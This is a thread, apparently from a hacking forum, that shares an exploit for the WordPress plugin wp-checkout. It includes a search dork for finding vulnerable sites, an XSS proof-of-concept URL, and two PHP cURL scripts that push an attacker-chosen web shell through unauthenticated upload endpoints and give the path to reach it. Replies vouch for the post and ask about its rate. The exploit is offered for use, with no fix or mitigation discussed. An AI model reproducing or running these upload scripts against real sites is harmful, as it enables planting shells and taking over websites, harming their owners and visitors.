

Forum:[Hack Forums](#)

Thread: [Wordpress Plugin Wp-checkout Multiple vulnerability](#)

ReDeX2587 - October 30, 2015, 11:48 pm

#- Title : Wordpress Plugin wp-checkout XSS & Arbitrary File Upload
#- Author : DevilScreaM & Gastro-dz
#- Vendor : wordpress#org/extend/plugins/wordpress-checkout/
#- Date : 09/21/2015
#- Category : Web Applications
#- Type : PHP
#- Vulnerability : Arbitrary File Upload, XSS
#- Dork : inurl:wp-content/plugins/wp-checkout
#- Tested on : Vivid Vervet, Windows 7, Backbox

POC ==>

XSS (CROSS SITE SCRIPTING)

localhost/wp-content/plugins/wp-checkout/vendors/timthumb.php?src=[Hacked BY NAPST3R]

Arbitrary File Upload

Exploit : localhost/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php
access : "/wp-content/uploads/wp-checkout/shell.php"

PHP Code

<?php

```
$uploadfile="YOURFUCKINGSHELL.php";  
$ch = curl_init("localhost/wp-content/plugins/wp-checkout/vendors/ajaxupload/upload.php");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
    array('Filedata'=>"@$uploadfile",  
        'folder'=>'/wp-content/uploads/wp-checkout/'));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$postResult = curl_exec($ch);  
curl_close($ch);  
print "$postResult";
```

?>

Uploadify

Exploit : localhost/wp-content/uploads/wp-checkout/uploadify/upload.php
access : /wp-content/uploads/wp-checkout/uploadify/random_name.php

PHP Code

```
<?php
```

```
$uploadfile="YOURFUCKINGSHELL.php";  
$ch = curl_init("localhost/wp-content/uploads/wp-checkout/uploadify/upload.php");  
curl_setopt($ch, CURLOPT_POST, true);  
curl_setopt($ch, CURLOPT_POSTFIELDS,  
    array('Filedata'=>"@$uploadfile",  
        'folder'=>'/wp-content/uploads/wp-checkout/'));  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
$postResult = curl_exec($ch);  
curl_close($ch);  
print "$postResult";
```

```
?>
```

Thats All ? Small Post ? Hope You Like It?
Wish Me Luck For My Exams?
Have A Nice Day ?

Activo - October 31, 2015, 12:00 am

Vouch, thanks for this OP. <3

pulamika00 - October 31, 2015, 12:59 pm

ReDeX2587 what is the rate on it ?